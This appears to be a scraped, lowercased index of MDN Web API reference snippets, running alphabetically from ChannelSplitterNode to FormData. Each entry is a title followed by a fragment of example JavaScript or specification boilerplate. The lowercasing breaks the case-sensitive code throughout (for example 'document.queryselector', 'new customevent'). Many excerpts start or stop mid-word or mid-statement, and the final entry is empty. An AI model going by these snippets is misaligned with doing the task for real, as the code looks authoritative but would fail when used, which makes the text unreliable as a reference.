example var ac = new audiocontext(); var options = { numberofoutputs : 2 } var mysplitter = new channelsplitternode(ac, options); specifications specification status comment web audio apithe definition of 'channelsplitternode' in that specification.
Client.id - Web APIs
WebAPIClientid
syntax var clientid = client.id; example tbd specifications specification status comment service workersthe definition of 'id' in that specification.
Clients.get() - Web APIs
WebAPIClientsget
examples self.clients.get(id).then(function(client) { self.clients.openwindow(client.url); }); specifications specification status comment service workersthe definition of 'get()' in that specification.
Clients.matchAll() - Web APIs
WebAPIClientsmatchAll
examples clients.matchall(options).then(function(clientlist) { for (var i = 0 ; i < clientlist.length ; i++) { if (clientlist[i].url === 'index.html') { clients.openwindow(clientlist[i]); // or do something else involving the matching client } } }); specifications specification status comment service workersthe definition of 'clients: matchall' in that specification.
ClipboardItem.getType() - Web APIs
async function getclipboardcontents() { try { const clipboarditems = await navigator.clipboard.read(); for (const clipboarditem of clipboarditems) { for (const type of clipboarditem.types) { const blob = await clipboarditem.gettype(type); // we can now use blob here } } } catch (err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboarditem' in that specification.
ClipboardItem.types - Web APIs
async function getclipboardcontents() { try { const clipboarditems = await navigator.clipboard.read(); for (const clipboarditem of clipboarditems) { for (const type of clipboarditem.types) { const blob = await clipboarditem.gettype(type); // we can now use blob here } } } catch (err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboarditem' in that specification.
Comment() - Web APIs
WebAPICommentComment
syntax comment1 = new comment(); // create an empty comment comment2 = new comment("this is a comment"); example var comment = new comment("test"); specifications specification status comment domthe definition of 'comment: comment' in that specification.
console.assert() - Web APIs
WebAPIConsoleassert
specifications specification status comment console apithe definition of 'console.assert()' in that specification.
console.clear() - Web APIs
WebAPIConsoleclear
syntax console.clear(); specifications specification status comment console apithe definition of 'console.clear()' in that specification.
console.debug() - Web APIs
WebAPIConsoledebug
specifications specification status comment console apithe definition of 'console.debug()' in that specification.
Console.groupEnd() - Web APIs
WebAPIConsolegroupEnd
specifications specification status comment console apithe definition of 'console.groupend()' in that specification.
Console.info() - Web APIs
WebAPIConsoleinfo
specifications specification status comment console apithe definition of 'console.info()' in that specification.
Console.timeStamp() - Web APIs
WebAPIConsoletimeStamp
you can optionally supply an argument to label the timestamp, and this label will then be shown alongside the marker.
console.trace() - Web APIs
WebAPIConsoletrace
example function foo() { function bar() { console.trace(); } bar(); } foo(); in the console, the following trace will be displayed: bar foo <anonymous> specifications specification status comment console apithe definition of 'console.trace()' in that specification.
Console.warn() - Web APIs
WebAPIConsolewarn
specifications specification status comment console apithe definition of 'console.warn()' in that specification.
ContentIndexEvent.id - Web APIs
self.addeventlistener('contentdelete', (event) => { console.log(event.id); // logs content index id, which can then be used to determine what content to delete from your cache }); specifications specification status comment unknownthe definition of 'id' in that specification.
CountQueuingStrategy.size() - Web APIs
}, abort(err) { console.log("sink error:", err); } }, queuingstrategy); var size = queuingstrategy.size(); specifications specification status comment streamsthe definition of 'size' in that specification.
Credential.id - Web APIs
WebAPICredentialid
specifications specification status comment credential management level 1 working draft initial definition.
Credential.name - Web APIs
WebAPICredentialname
example // tbd specifications specification status comment credential management level 1 working draft initial definition.
Credential.type - Web APIs
WebAPICredentialtype
example // tbd specifications specification status comment credential management level 1 working draft initial definition.
Credential - Web APIs
examples // tbd specifications specification status comment credential management level 1 working draft initial definition.
CustomElementRegistry.get() - Web APIs
s extends htmlelement { constructor() { super(); let template = document.getelementbyid('my-paragraph'); let templatecontent = template.content; const shadowroot = this.attachshadow({mode: 'open'}) .appendchild(templatecontent.clonenode(true)); } }) // return a reference to the my-paragraph constructor let ctor = customelements.get('my-paragraph'); specifications specification status comment html living standardthe definition of 'customelements.get()' in that specification.
CustomEvent.detail - Web APIs
example // add an appropriate event listener obj.addeventlistener("cat", function(e) { process(e.detail) }); // create and dispatch the event let event = new customevent("cat", { detail: { hazcheeseburger: true } }); obj.dispatchevent(event); // will return an object contaning the hazcheeseburger property let mydetail = event.detail; specifications specification status comment domthe definition of 'detail' in that specification.
DOMParser() - Web APIs
this object can be used to parse the text of a document using the parsefromstring() method.
DOMStringMap - Web APIs
specifications specification status comment html living standardthe definition of 'domstringmap' in that specification.
DOMTokenList.add() - Web APIs
WebAPIDOMTokenListadd
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; classes.add("d"); span.textcontent = classes; the output looks like this: you can add multiple tokens as well: span.classlist.add("d", "e", "f"); specifications specification status comment domthe definition of 'add()' in that specification.
DOMTokenList.entries() - Web APIs
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; let iterator = classes.entries(); for (let value of iterator) { span.textcontent += value + ' ++ '; } the output looks like this: specifications specification status comment domthe definition of 'entries() (as iterable<node>)' in that specification.
DOMTokenList.item() - Web APIs
WebAPIDOMTokenListitem
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; let item = classes.item(classes.length-1); span.textcontent = item; the output looks like this: specifications specification status comment domthe definition of 'item()' in that specification.
DOMTokenList.keys() - Web APIs
WebAPIDOMTokenListkeys
first, the html: <span class="a b c"></span> now the javascript: var span = document.queryselector("span"); var classes = span.classlist; var iterator = classes.keys(); for(var value of iterator) { span.textcontent += value + ' ++ '; } the output looks like this: specifications specification status comment domthe definition of 'keys() (as iterable<node>)' in that specification.
DOMTokenList.length - Web APIs
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; let length = classes.length; span.textcontent = `classlist length = ${length}`; the output looks like this: specifications specification status comment domthe definition of 'length' in that specification.
DOMTokenList.replace() - Web APIs
to use with earlier versions of ie, refer to the polyfill at element.classlist#polyfill domtokenlist.prototype.replace = function (a, b) { if (this.contains(a)) { this.add(b); this.remove(a); return true; } return false; } specifications specification status comment domthe definition of 'replace()' in that specification.
DOMTokenList.value - Web APIs
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; span.textcontent = classes.value; the output looks like this: specifications specification status comment domthe definition of 'value' in that specification.
DOMTokenList.values() - Web APIs
first, the html: <span class="a b c"></span> now the javascript: var span = document.queryselector("span"); var classes = span.classlist; var iterator = classes.values(); for(var value of iterator) { span.textcontent += value + ' ++ '; } the output looks like this: specifications specification status comment domthe definition of 'values() (as iterable<node>)' in that specification.
DataTransfer() - Web APIs
specifications specification status comment html living standardthe definition of 'the datatransfer() constructor' in that specification.
DataTransfer.addElement() - Web APIs
return value void example this example shows the use of the addelement() method function change_drag_node(event, node) { var dt = event.datatransfer; dt.addelement(node); } specifications this method is not defined in any web standard.
DataTransfer.mozClearDataAt() - Web APIs
function dragend_handler(event) { var dt = event.datatransfer; // remove a text/html item dt.mozcleardataat("text/html", 1); } specifications this method is not defined in any web standard.
DataTransfer.mozCursor - Web APIs
function drop_handler(event) { var dragdata = event.datatransfer; console.log("mozcursor = " + dragdata.mozcursor); } specifications this property is not defined in any web standard.
DataTransfer.mozGetDataAt() - Web APIs
atatransfer; var count = dt.mozitemcount; output("items: " + count + "\n"); for (var i = 0; i < count; i++) { output(" item " + i + ":\n"); var types = dt.moztypesat(i); for (var t = 0; t < types.length; t++) { output(" " + types[t] + ": "); try { var data = dt.mozgetdataat(types[t], i); output("(" + (typeof data) + ") : <" + data + " >\n"); } catch (ex) { output("<>\n"); dump(ex); } } } } specifications this method is not defined in any web standard.
DataTransfer.mozTypesAt() - Web APIs
atatransfer; var count = dt.mozitemcount; output("items: " + count + "\n"); for (var i = 0; i < count; i++) { output(" item " + i + ":\n"); var types = dt.moztypesat(i); for (var t = 0; t < types.length; t++) { output(" " + types[t] + ": "); try { var data = dt.mozgetdataat(types[t], i); output("(" + (typeof data) + ") : <" + data + " >\n"); } catch (ex) { output("<>\n"); dump(ex); } } } } specifications this method is not defined in any web standard.
DeviceLightEvent - Web APIs
example window.addeventlistener('devicelight', function(event) { console.log(event.value); }); specifications no specification.
DeviceMotionEvent.DeviceMotionEvent() - Web APIs
specifications not part of any specifications.
DeviceMotionEvent.acceleration - Web APIs
each axis is represented with its own property: x represents the acceleration upon the x axis which is the west to east axis y represents the acceleration upon the y axis which is the south to north axis z represents the acceleration upon the z axis which is the down to up axis specifications specification status comment deviceorientation event specification editor's draft initial definition.
DeviceMotionEventAcceleration - Web APIs
specifications specification status comment deviceorientation event specificationthe definition of 'devicemotioneventacceleration' in that specification.
DeviceMotionEventRotationRate - Web APIs
specifications specification status comment deviceorientation event specificationthe definition of 'devicemotioneventrotationrate' in that specification.
DeviceOrientationEvent.alpha - Web APIs
syntax var alpha = instanceofdeviceorientationevent.alpha; specifications specification status comment deviceorientation event specification editor's draft initial specification.
DeviceOrientationEvent.beta - Web APIs
syntax var beta = instanceofdeviceorientationevent.beta; specifications specification status comment deviceorientation event specification editor's draft initial specification.
DeviceOrientationEvent.gamma - Web APIs
syntax var gamma = orientationevent.gamma; specifications specification status comment deviceorientation event specification editor's draft initial specification.
DeviceProximityEvent.max - Web APIs
syntax var value = instanceofdeviceproximityevent.max; value a positive number indicating the maximum distance, in centimeters (cm), that the device's proximity sensor is able to detect and report.
DeviceProximityEvent - Web APIs
the deviceproximityevent interface provides information about the distance of a nearby physical object using the proximity sensor of a device.
Document() - Web APIs
WebAPIDocumentDocument
syntax new document(); specifications specification status comment domthe definition of 'document' in that specification.
Document.contentType - Web APIs
specifications specification status comment domthe definition of 'document.contenttype' in that specification.
Document.createComment() - Web APIs
example var docu = new domparser().parsefromstring('<xml></xml>', 'application/xml'); var comment = docu.createcomment('this is a not-so-secret comment in your document'); docu.getelementsbytagname('xml')[0].appendchild(comment); alert(new xmlserializer().serializetostring(docu)); // displays: <xml><!--this is a not-so-secret comment in your document--></xml> specifications specification status comment domthe definition of 'document.createcomment' in that specification.
Document.createTouchList() - Web APIs
ent.createtouch(window, target, 1, 15, 20, 35, 40); var touch2 = document.createtouch(window, target, 2, 25, 30, 45, 50); // create an empty touchlist objects var list0 = document.createtouchlist(); // create a touchlist with only one touch object var list1 = document.createtouchlist(touch1); // create a list with two touch objects var list2 = document.createtouchlist(touch1, touch2); specifications specification status comment touch eventsthe definition of 'document.createtouchlist()' in that specification.
Document.doctype - Web APIs
WebAPIDocumentdoctype
specifications specification status comment domthe definition of 'document: doctype' in that specification.
Document.documentElement - Web APIs
specifications specification status comment domthe definition of 'document.documentelement' in that specification.
Document.domain - Web APIs
WebAPIDocumentdomain
const baddomain = "www.example.xxx"; if (document.domain === baddomain) { // just an example: window.close() sometimes has no effect window.close(); } specifications specification status comment html living standardthe definition of 'document.domain' in that specification.
Document.embeds - Web APIs
WebAPIDocumentembeds
specifications specification status comment html living standardthe definition of 'document.embeds' in that specification.
Document.onoffline - Web APIs
the document.onoffline event handler is called when an offline is fired on the <body> element and bubbles up, when navigator.online property changes and becomes false.
Document.origin - Web APIs
WebAPIDocumentorigin
in most cases, this property is equivalent to document.defaultview.location.origin.
Document.plugins - Web APIs
WebAPIDocumentplugins
specifications specification status comment html living standardthe definition of 'document.plugins' in that specification.
Document: pointerenter event - Web APIs
bubbles no cancelable no interface pointerevent event handler property onpointerenter examples using addeventlistener(): document.addeventlistener('pointerenter', (event) => { console.log('pointer entered element'); }); using the onpointerenter event handler property: document.onpointerenter = (event) => { console.log('pointer entered element'); }; specifications specification status pointer events obsolete ...
Document: pointerleave event - Web APIs
bubbles no cancelable no interface pointerevent event handler property onpointerleave examples using addeventlistener(): document.addeventlistener('pointerleave', (event) => { console.log('pointer left element'); }); using the onpointerleave event handler property: document.onpointerleave = (event) => { console.log('pointer left element'); }; specifications specification status pointer events obsolete ...
Document: pointerlockchange event - Web APIs
bubbles yes cancelable no interface event event handler property onpointerlockchange examples using addeventlistener(): document.addeventlistener('pointerlockchange', (event) => { console.log('pointer lock changed'); }); using the onpointerlockchange event handler property: document.onpointerlockchange = (event) => { console.log('pointer lock changed'); }; specifications specification status pointer lock candidate recommendation ...
Document: pointerover event - Web APIs
bubbles yes cancelable yes interface pointerevent event handler property onpointerover examples using addeventlistener(): document.addeventlistener('pointerover', (event) => { console.log('pointer moved in'); }); using the onpointerover event handler property: document.onpointerover = (event) => { console.log('pointer moved in'); }; specifications specification status pointer events obsolete ...
Document: pointerup event - Web APIs
bubbles yes cancelable yes interface pointerevent event handler property onpointerup examples using addeventlistener(): document.addeventlistener('pointerup', (event) => { console.log('pointer up'); }); using the onpointerup event handler property: document.onpointerup = (event) => { console.log('pointer up'); }; specifications specification status pointer events obsolete ...
Document.preferredStyleSheetSet - Web APIs
syntax preferredstylesheetset = document.preferredstylesheetset on return, preferredstylesheetset indicates the author's preferred style sheet set.
Document.queryCommandSupported() - Web APIs
notes the 'paste' command return false not only if the feature is unavailable, but also if the script calling it has insufficient privileges to perform the action [1] example var flg = document.querycommandsupported("selectall"); if(flg) { // ...do something } specifications specification status comment execcommand ...
Document.scrollingElement - Web APIs
syntax var element = document.scrollingelement; example var scrollelm = document.scrollingelement; scrollelm.scrolltop = 0; specifications specification status comment css object model (cssom) view modulethe definition of 'scrollingelement' in that specification.
Document: selectionchange event - Web APIs
bubbles no cancelable no interface event event handler property onselectionchange examples // addeventlistener version document.addeventlistener('selectionchange', () => { console.log(document.getselection()); }); // onselectionchange version document.onselectionchange = () => { console.log(document.getselection()); }; specifications specification status comment selection apithe definition of 'selectionchange' in that specification.
Document.title - Web APIs
WebAPIDocumenttitle
specifications specification status comment html living standardthe definition of 'document.title' in that specification.
Document.width - Web APIs
WebAPIDocumentwidth
syntax pixels = document.width; example function init() { alert("the width of the document is " + document.width + " pixels."); } alternatives document.body.clientwidth /* width of <body> */ document.documentelement.clientwidth /* width of <html> */ window.innerwidth /* window's width */ specification html5 ...
Document.xmlVersion - Web APIs
to detect this, you can create an element with its name in lower case, then check to see if it gets converted into all upper case (in which case the document is in the non-xml html mode): if (document.createelement("foo").tagname == "foo") { /* document is not xml */ } specifications http://www.w3.org/tr/dom-level-3-cor...ument3-version this has been removed from dom core level 4wd ...
DocumentFragment() - Web APIs
syntax fragment = new documentfragment() example let fragment = new documentfragment(); specification specification status comment domthe definition of 'documentfragment()' in that specification.
DocumentFragment.querySelectorAll() - Web APIs
examples this example returns a list of all div elements within the documentfragment with a class of either "note" or "alert": var matches = documentfrag.queryselectorall("div.note, div.alert"); specifications specification status comment selectors api level 1the definition of 'documentfragment.queryselectorall' in that specification.
DocumentOrShadowRoot.msElementsFromRect() - Web APIs
var nodelist = document.mselementsfromrect(x,y,width,height) var nodelist = document.mselementsfrompoint(x,y) the returned nodelist is sorted by z-index so that you can tell the relative stacking order of the elements.
DocumentOrShadowRoot.styleSheets - Web APIs
specifications specification status comment shadow domthe definition of 'documentorshadowroot' in that specification.
DynamicsCompressorNode.reduction - Web APIs
example var audioctx = new audiocontext(); var compressor = audioctx.createdynamicscompressor(); var myreduction = compressor.reduction; specifications specification status comment web audio apithe definition of 'reduction' in that specification.
EXT_color_buffer_float - Web APIs
var ext = gl.getextension('ext_color_buffer_float'); gl.renderbufferstorage(gl.renderbuffer, gl.rgba16f, 256, 256); specifications specification status comment ext_color_buffer_floatthe definition of 'ext_color_buffer_float' in that specification.
EXT_color_buffer_half_float - Web APIs
examples var ext = gl.getextension('ext_color_buffer_half_float'); gl.renderbufferstorage(gl.renderbuffer, ext.rbga16f_ext, 256, 256); specifications specification status comment ext_color_buffer_half_floatthe definition of 'ext_color_buffer_half_float' in that specification.
EXT_disjoint_timer_query.beginQueryEXT() - Web APIs
specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification.
EXT_disjoint_timer_query.createQueryEXT() - Web APIs
examples var ext = gl.getextension('ext_disjoint_timer_query'); var query = ext.createqueryext(); specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification.
EXT_disjoint_timer_query.deleteQueryEXT() - Web APIs
ext.deletequeryext(query); specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification.
EXT_disjoint_timer_query.endQueryEXT() - Web APIs
ext.endqueryext(ext.time_elapsed_ext); specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification.
EXT_disjoint_timer_query.queryCounterEXT() - Web APIs
ext.querycounterext(endquery, ext.timestamp_ext); specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification.
EXT_frag_depth - Web APIs
examples enable the extension: gl.getextension('ext_frag_depth'); now the output variable gl_fragdepthext is available to set a depth value of a fragment from within the fragment shader: <script type="x-shader/x-fragment"> void main() { gl_fragcolor = vec4(1.0, 0.0, 1.0, 1.0); gl_fragdepthext = 0.5; } </script> specifications specification status comment ext_frag_depththe definition of 'ext_frag_depth' in that specification.
EcKeyGenParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.eckeygenparams' in that specification.
EcKeyImportParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.eckeyimportparams' in that specification.
EcdhKeyDeriveParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.ecdhkeyderiveparams' in that specification.
EcdsaParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.ecdsaparams' in that specification.
EffectTiming.delay - Web APIs
random() * (max - min) + min; } // loop through each tear tears.foreach(function(el) { // animate each tear el.animate( tearsfalling, { delay: getrandommsrange(-1000, 1000), // randomized for each tear duration: getrandommsrange(2000, 6000), // randomized for each tear iterations: infinity, easing: "cubic-bezier(0.6, 0.04, 0.98, 0.335)" }); }); specifications specification status comment web animationsthe definition of 'delay' in that specification.
Element: MSGestureChange event - Web APIs
bubbles unknown cancelable unknown interface msgestureevent event handler property unknown specifications not part of any specification.
Element: MSGestureEnd event - Web APIs
bubbles unknown cancelable unknown interface msgestureevent event handler property unknown specifications not part of any specification.
Element: MSGestureStart event - Web APIs
bubbles unknown cancelable unknown interface msgestureevent event handler property unknown specifications not part of any specification.
Element: MSInertiaStart event - Web APIs
bubbles unknown cancelable unknown interface msgestureevent event handler property unknown specifications not part of any specification.
Element.computedStyleMap() - Web APIs
specifications specification status comment css typed om level 1the definition of 'computedstylemap()' in that specification.
Element: gesturechange event - Web APIs
bubbles unknown cancelable unknown interface gestureevent event handler property unknown specifications not part of any specification.
Element: gestureend event - Web APIs
bubbles unknown cancelable unknown interface gestureevent event handler property unknown specifications not part of any specification.
Element: gesturestart event - Web APIs
bubbles unknown cancelable unknown interface gestureevent event handler property unknown specifications not part of any specification.
Element.getAttributeNames() - Web APIs
.getattribute(name); console.log(name, value); } polyfill if (element.prototype.getattributenames == undefined) { element.prototype.getattributenames = function () { var attributes = this.attributes; var length = attributes.length; var result = new array(length); for (var i = 0; i < length; i++) { result[i] = attributes[i].name; } return result; }; } specifications specification status comment domthe definition of 'element.getattributenames' in that specification.
Element.getAttributeNodeNS() - Web APIs
ling with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattributens - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status comment domthe definition of 'getattributenodens()' in that specification.
Element.openOrClosedShadowRoot - Web APIs
specifications this property is not part of any specification.
Element.prefix - Web APIs
WebAPIElementprefix
specifications specification status comment domthe definition of 'element: prefix' in that specification.
Element.removeAttribute() - Web APIs
ttributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattributens - - removeattribute (dom 1) removeattributens removeattributenode - example // given: <div id="div1" align="left" width="200px"> document.getelementbyid("div1").removeattribute("align"); // now: <div id="div1" width="200px"> specifications specification status comment domthe definition of 'element" removeattribute' in that specification.
Element.removeAttributeNS() - Web APIs
ling with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattributens - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status comment domthe definition of 'element: removeattributens' in that specification.
Element.scrollIntoViewIfNeeded() - Web APIs
example var element = document.getelementbyid("my-el"); element.scrollintoviewifneeded(); element.scrollintoviewifneeded(true); // centers the element in the visible area specifications not part of any specification.
Element.scrollLeftMax - Web APIs
syntax var pxl = element.scrollleftmax; specifications this property is not part of any specification.
Element.scrollTopMax - Web APIs
syntax var pxl = elt.scrolltopmax; specifications this property is not part of any specification.
Element.setAttributeNode() - Web APIs
ling with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattributens - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status comment domthe definition of 'setattributenode()' in that specification.
Element: show event - Web APIs
bubbles no cancelable no interface event event handler property onshow examples <div contextmenu="test"></div> <menu type="context" id="test"> <menuitem label="alert" onclick="alert('the alert label has been clicked')" /> </menu> <script> document.getelementbyid("test").addeventlistener("show", function(e){ alert("the context menu will be displayed"); }, false); </script> specifications specification status html5the definition of 'show event' in that specification.
Element.tabStop - Web APIs
WebAPIElementtabStop
the tabstop property of the element interface returns a boolean indicating if the element can receive input focus via the tab key.
Encoding API - Web APIs
specifications specification status comment encoding living standard initial definition.
Event.timeStamp - Web APIs
WebAPIEventtimeStamp
specifications specification status comment domthe definition of 'event.timestamp' in that specification.
EventSource: error event - Web APIs
bubbles no cancelable no interface event or errorevent event handler property eventsource.onerror examples var evtsource = new eventsource('sse.php'); // addeventlistener version evtsource.addeventlistener('error', (e) => { console.log("an error occurred while attempting to connect."); }); // onerror version evtsource.onerror = (e) => { console.log("an error occurred while attempting to connect."); }; specifications specification status html living standardthe definition of 'error event' in that specification.
EventSource: open event - Web APIs
bubbles no cancelable no interface event event handler property eventsource.onopen examples var evtsource = new eventsource('sse.php'); // addeventlistener version evtsource.addeventlistener('open', (e) => { console.log("the connection has been established."); }); // onopen version evtsource.onopen = (e) => { console.log("the connection has been established."); }; specifications specification status html living standardthe definition of 'open event' in that specification.
EventTarget() - Web APIs
super(); this._secret = mysecret; } get secret() { return this._secret; } }; let myeventtarget = new myeventtarget(5); let value = myeventtarget.secret; // == 5 myeventtarget.addeventlistener("foo", function(e) { this._secret = e.detail; }); let event = new customevent("foo", { detail: 7 }); myeventtarget.dispatchevent(event); let newvalue = myeventtarget.secret; // == 7 specifications specification status comment domthe definition of 'eventtarget() constructor' in that specification.
ExtendableEvent() - Web APIs
specifications specification status comment service workersthe definition of 'extendableevent' in that specification.
ExtendableMessageEvent.lastEventId - Web APIs
var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.lasteventid); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.lasteventid' in that specification.
ExtendableMessageEvent.origin - Web APIs
var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.origin); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.origin' in that specification.
ExtendableMessageEvent.ports - Web APIs
var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.ports' in that specification.
ExtendableMessageEvent.source - Web APIs
var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.source); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.source' in that specification.
FederatedCredential - Web APIs
specifications specification status comment credential management level 1 working draft initial definition.
FederatedCredential.protocol - Web APIs
examples // tbd specifications specification status comments credential management level 1the definition of 'protocol' in that specification.
FederatedCredential.provider - Web APIs
example // tbd specifications specification status comments credential management level 1 working draft initial definition.
FetchEvent.client - Web APIs
WebAPIFetchEventclient
note: this feature has been deprecated, with its functionality replaced by fetchevent.clientid and clients.get().
FetchEvent.clientId - Web APIs
example self.addeventlistener('fetch', function(event) { console.log(event.clientid); ​}); specifications specification status comment service workersthe definition of 'clientid' in that specification.
FetchEvent.resultingClientId - Web APIs
example self.addeventlistener('fetch', function(event) { console.log(event.resultingclientid); }); specifications specification status comment service workersthe definition of 'resultingclientid' in that specification.
Fetch basic concepts - Web APIs
because the main components of http are abstracted as javascript objects, it is easy for other apis to make use of such functionality.
File.File() - Web APIs
WebAPIFileFile
example var file = new file(["foo"], "foo.txt", { type: "text/plain", }); specifications specification status comment file api working draft initial definition ...
File.getAsDataURL() - Web APIs
WebAPIFilegetAsDataURL
var files = fileinput.files; // array with acceptable file types var accept = ["image/png"]; // img is a htmlimgelement: <img id="myimg"> var img = document.getelementbyid("myimg"); // if we accept the first selected file type if (accept.indexof(files[0].mediatype) > -1) { // display the image // same as <img src="data:image/png,<imagedata>"> img.src = files[0].getasdataurl(); } specification not part of any specification.
File.name - Web APIs
WebAPIFilename
example <input type="file" multiple onchange="processselectedfiles(this)"> function processselectedfiles(fileinput) { var files = fileinput.files; for (var i = 0; i < files.length; i++) { alert("filename " + files[i].name); } } try the results out below: specifications specification status comment file apithe definition of 'name' in that specification.
File.size - Web APIs
WebAPIFilesize
syntax var size = instanceoffile.size value a number specification not part of any specification.
onerror - Web APIs
the filereader onerror handler receives an event object, not an error object, as a parameter, but an error can be accessed from the filereader object, as instanceoffilereader.error // callback from a <input type="file" onchange="onchange(event)"> function onchange(event) { var file = event.target.files[0]; var reader = new filereader(); reader.onerror = function(event) { alert("failed to read file!\n\n" + reader.error); reader.abort(); // (...does this do anything useful in an onerror handler?) }; reader.readastext(file); } ...
FileReader.onload - Web APIs
WebAPIFileReaderonload
example // callback from a <input type="file" onchange="onchange(event)"> function onchange(event) { var file = event.target.files[0]; var reader = new filereader(); reader.onload = function(e) { // the file's text will be printed here console.log(e.target.result) }; reader.readastext(file); } ...
FileReader.readAsArrayBuffer() - Web APIs
specifications specification status comment file apithe definition of 'filereader.readasarraybuffer' in that specification.
FileReader.readAsText() - Web APIs
specifications specification status comment file apithe definition of 'readastext()' in that specification.
FileRequest.lockedFile - Web APIs
specifications specification status comment filesystem api editor's draft draft proposal.
FocusEvent() - Web APIs
specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'focusevent()' in that specification.
FontFace.family - Web APIs
WebAPIFontFacefamily
example var fontface = new fontface('roboto', 'url(https://fonts.example.com/roboto.woff2)'); console.log(fontface.family); // 'roboto' fontface.family = 'newroboto'; console.log(fontface.family); // 'newroboto' specifications specification status comment css font loading module level 3the definition of 'family' in that specification.
FontFace.featureSettings - Web APIs
specifications specification status comment css font loading module level 3the definition of 'featuresettings' in that specification.
FontFace.loaded - Web APIs
WebAPIFontFaceloaded
specifications specification status comment css font loading module level 3the definition of 'loaded' in that specification.
FontFace.stretch - Web APIs
WebAPIFontFacestretch
specifications specification status comment css font loading module level 3the definition of 'stretch' in that specification.
FontFace.style - Web APIs
WebAPIFontFacestyle
specifications specification status comment css font loading module level 3the definition of 'style' in that specification.
FontFace.unicodeRange - Web APIs
specifications specification status comment css font loading module level 3the definition of 'unicoderange' in that specification.
FontFace.weight - Web APIs
WebAPIFontFaceweight
specifications specification status comment css font loading module level 3the definition of 'weight' in that specification.
FontFaceSet.ready - Web APIs
WebAPIFontFaceSetready
specifications specification status comment css font loading module level 3the definition of 'fontfaceset' in that specification.
FontFaceSetLoadEvent.FontFaceSetLoadEvent() - Web APIs
specifications specification status comment css font loading module level 3the definition of 'fontfacesetloadevent()' in that specification.
FontFaceSetLoadEvent.fontfaces - Web APIs
specifications specification status comment css font loading module level 3the definition of 'fontfaces' in that specification.
FontFaceSetLoadEvent - Web APIs
specifications specification status comment css font loading module level 3the definition of 'fontfacesetloadevent' in that specification.
FormData.delete() - Web APIs
WebAPIFormDatadelete
example the following line creates an empty formdata object and prepopulates it with key/value pairs from a form: var formdata = new formdata(myform); you can delete keys and their values using delete(): formdata.delete('username'); specifications specification status comment xmlhttprequestthe definition of 'delete()' in that specification.
FormData.entries() - Web APIs
WebAPIFormDataentries
example // create a test formdata object var formdata = new formdata(); formdata.append('key1', 'value1'); formdata.append('key2', 'value2'); // display the key/value pairs for(var pair of formdata.entries()) { console.log(pair[0]+ ', '+ pair[1]); } the result is: key1, value1 key2, value2 specifications specification status comment xmlhttprequestthe definition of 'entries() (as iterator<>)' in that specification.
FormData.get() - Web APIs
WebAPIFormDataget
example the following line creates an empty formdata object: var formdata = new formdata(); if we add two username values using formdata.append: formdata.append('username', 'chris'); formdata.append('username', 'bob'); the following get() function will only return the first username value appended: formdata.get('username'); // returns "chris" specifications specification status comment xmlhttprequestthe definition of 'get()' in that specification.
FormData.getAll() - Web APIs
WebAPIFormDatagetAll
example the following line creates an empty formdata object: var formdata = new formdata(); if we add two username values using formdata.append: formdata.append('username', 'chris'); formdata.append('username', 'bob'); the following getall() function will return both username values in an array: formdata.getall('username'); // returns ["chris", "bob"] specifications specification status comment xmlhttprequestthe definition of 'getall()' in that specification.
FormData.has() - Web APIs
WebAPIFormDatahas
